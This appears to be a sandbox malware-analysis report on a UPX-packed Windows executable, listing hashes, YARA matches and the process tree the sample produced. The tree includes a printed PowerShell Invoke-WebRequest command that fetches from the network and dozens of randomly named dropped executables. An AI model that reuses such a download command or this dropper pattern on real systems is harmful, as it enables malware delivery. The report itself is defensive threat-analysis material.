55be1c9f765deba64776cf003fb9ef154ab71ec77ceda5410c4440e48cc1e394

Analysis

max time kernel
8s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
27/03/2024, 20:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

55be1c9f765deba64776cf003fb9ef154ab71ec77ceda5410c4440e48cc1e394.exe
Size

1015KB
MD5

df89111c667561725fc52eb0af9ed433
SHA1

694614cf465b44882f6dbe9ae8fa854118774ccf
SHA256

55be1c9f765deba64776cf003fb9ef154ab71ec77ceda5410c4440e48cc1e394
SHA512

44f0043f3ef60b788c4c589c5ce9dc6632772d24f68bfcccc836df361c9c19dedc488a9850d4035a50e00cae79534d034be690046de795dd018a74c22385a9f5
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Qk7SWYyP3jRD:Lz071uv4BPMkyW10/wKS6

Score

9^/10

upx

Malware Config

Signatures

UPX dump on OEP (original entry point) 3 IoCs

resource	yara_rule
behavioral2/memory/1912-0-0x00007FF654130000-0x00007FF654522000-memory.dmp	UPX
behavioral2/files/0x0007000000023224-75.dat	UPX
behavioral2/files/0x0007000000023216-67.dat	UPX

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1912-0-0x00007FF654130000-0x00007FF654522000-memory.dmp	upx
behavioral2/files/0x0007000000023224-75.dat	upx
behavioral2/memory/1928-69-0x00007FF7522C0000-0x00007FF7526B2000-memory.dmp	upx
behavioral2/files/0x0007000000023216-67.dat	upx
behavioral2/memory/2892-123-0x00007FF7731C0000-0x00007FF7735B2000-memory.dmp	upx
behavioral2/files/0x0007000000023224-211.dat	upx
behavioral2/memory/2412-232-0x00007FF7FC860000-0x00007FF7FCC52000-memory.dmp	upx
behavioral2/memory/1816-234-0x00007FF6A8520000-0x00007FF6A8912000-memory.dmp	upx

C:\Users\Admin\AppData\Local\Temp\55be1c9f765deba64776cf003fb9ef154ab71ec77ceda5410c4440e48cc1e394.exe
"C:\Users\Admin\AppData\Local\Temp\55be1c9f765deba64776cf003fb9ef154ab71ec77ceda5410c4440e48cc1e394.exe"
1⤵
PID:1912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  PID:720
- C:\Windows\System\GvGqoaK.exe
  C:\Windows\System\GvGqoaK.exe
  2⤵
  PID:1484
- C:\Windows\System\QeoYZpn.exe
  C:\Windows\System\QeoYZpn.exe
  2⤵
  PID:1928
- C:\Windows\System\sawIOrR.exe
  C:\Windows\System\sawIOrR.exe
  2⤵
  PID:2892
- C:\Windows\System\FZCSUaK.exe
  C:\Windows\System\FZCSUaK.exe
  2⤵
  PID:3504
- C:\Windows\System\WhLeElt.exe
  C:\Windows\System\WhLeElt.exe
  2⤵
  PID:2412
- C:\Windows\System\aynjbff.exe
  C:\Windows\System\aynjbff.exe
  2⤵
  PID:4956
- C:\Windows\System\GTpRRet.exe
  C:\Windows\System\GTpRRet.exe
  2⤵
  PID:4896
- C:\Windows\System\HFcVMSg.exe
  C:\Windows\System\HFcVMSg.exe
  2⤵
  PID:2844
- C:\Windows\System\JyJXYPc.exe
  C:\Windows\System\JyJXYPc.exe
  2⤵
  PID:4676
- C:\Windows\System\pqKweyc.exe
  C:\Windows\System\pqKweyc.exe
  2⤵
  PID:4968
- C:\Windows\System\xmxkZYN.exe
  C:\Windows\System\xmxkZYN.exe
  2⤵
  PID:2236
- C:\Windows\System\BmEaCSE.exe
  C:\Windows\System\BmEaCSE.exe
  2⤵
  PID:1444
- C:\Windows\System\PTJOdoj.exe
  C:\Windows\System\PTJOdoj.exe
  2⤵
  PID:4900
- C:\Windows\System\YAzLyoB.exe
  C:\Windows\System\YAzLyoB.exe
  2⤵
  PID:492
- C:\Windows\System\qXZcGEs.exe
  C:\Windows\System\qXZcGEs.exe
  2⤵
  PID:488
- C:\Windows\System\KdOUTIb.exe
  C:\Windows\System\KdOUTIb.exe
  2⤵
  PID:1948
- C:\Windows\System\DtOcaBn.exe
  C:\Windows\System\DtOcaBn.exe
  2⤵
  PID:1764
- C:\Windows\System\FibBYxM.exe
  C:\Windows\System\FibBYxM.exe
  2⤵
  PID:64
- C:\Windows\System\nJhTtvO.exe
  C:\Windows\System\nJhTtvO.exe
  2⤵
  PID:400
- C:\Windows\System\lRctcby.exe
  C:\Windows\System\lRctcby.exe
  2⤵
  PID:3532
- C:\Windows\System\TpvIfno.exe
  C:\Windows\System\TpvIfno.exe
  2⤵
  PID:4168
- C:\Windows\System\JYRYpjm.exe
  C:\Windows\System\JYRYpjm.exe
  2⤵
  PID:3220
- C:\Windows\System\XdcIKwB.exe
  C:\Windows\System\XdcIKwB.exe
  2⤵
  PID:5640
- C:\Windows\System\yAmQVAW.exe
  C:\Windows\System\yAmQVAW.exe
  2⤵
  PID:6400
- C:\Windows\System\YXBYoAB.exe
  C:\Windows\System\YXBYoAB.exe
  2⤵
  PID:6416
- C:\Windows\System\jrdEoQN.exe
  C:\Windows\System\jrdEoQN.exe
  2⤵
  PID:8784
- C:\Windows\System\kJSwGVa.exe
  C:\Windows\System\kJSwGVa.exe
  2⤵
  PID:9036
- C:\Windows\System\OOpgsvP.exe
  C:\Windows\System\OOpgsvP.exe
  2⤵
  PID:9052
- C:\Windows\System\NdqJzXk.exe
  C:\Windows\System\NdqJzXk.exe
  2⤵
  PID:9524
- C:\Windows\System\ainPHHF.exe
  C:\Windows\System\ainPHHF.exe
  2⤵
  PID:7696

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\System\JeElVPa.exe

Filesize
128KB

MD5
4faadaeab68805f04a3264b24b4484e7

SHA1
1506c8fa28d842c0dbf87aa4fae07f0c1d21c224

SHA256
023ac7fc351f6d2e4691b22c68fbc17c1895254a67982bf0958242ced6e67f29

SHA512
933034705851d18a168ec6a4a2f7a5330c92a605b28011dc44e331b0baa53be92639772e268a3dcd0b9551cd627b9185e234399894d0a898c1ae6ffdbb38edec

Download Submit
C:\Windows\System\JeElVPa.exe

Filesize
192KB

MD5
3c72dbc23a6622fc0ba13a655fe73cb7

SHA1
6400c6610e252688e509f655c0c1742cd3e76fe5

SHA256
60d46b68e2dec4dd54b3b98e2936c740b0a81687ef7e61fcba1931ad2151177b

SHA512
3a7f13d7a9e5345a11dd9caea7215ff9ce8b932aed2a7f40bd5687fae6e2d3d8e292fd0a0419fc98b97394994c5924266d8190f3af6015bdcdaf26d71a97a6cc

Download Submit
C:\Windows\System\WhLeElt.exe

Filesize
832KB

MD5
d72c4c3ebdf996855671284503f4f615

SHA1
334920272b53e980f5a279d905ddb8f4b7a84d6f

SHA256
8fb81fd1c442adee6d81792c61d0239fc04d475e15250ba646c5c4731f838b9e

SHA512
991ffc08c7862a515c482b1ad73a8f5216f468a4370a249d092fad4a6e14b86d8cd66f2ea7980385a81d00caf06cbd56cb34f9ebba403e37ab549f59c5a4f830

Download Submit
memory/1816-234-0x00007FF6A8520000-0x00007FF6A8912000-memory.dmp

Filesize
3.9MB

Download
memory/1912-0-0x00007FF654130000-0x00007FF654522000-memory.dmp

Filesize
3.9MB

Download
memory/1912-1-0x00000208EC2B0000-0x00000208EC2C0000-memory.dmp

Filesize
64KB

Download
memory/1928-69-0x00007FF7522C0000-0x00007FF7526B2000-memory.dmp

Filesize
3.9MB

Download
memory/2412-232-0x00007FF7FC860000-0x00007FF7FCC52000-memory.dmp

Filesize
3.9MB

Download
memory/2892-123-0x00007FF7731C0000-0x00007FF7735B2000-memory.dmp

Filesize
3.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads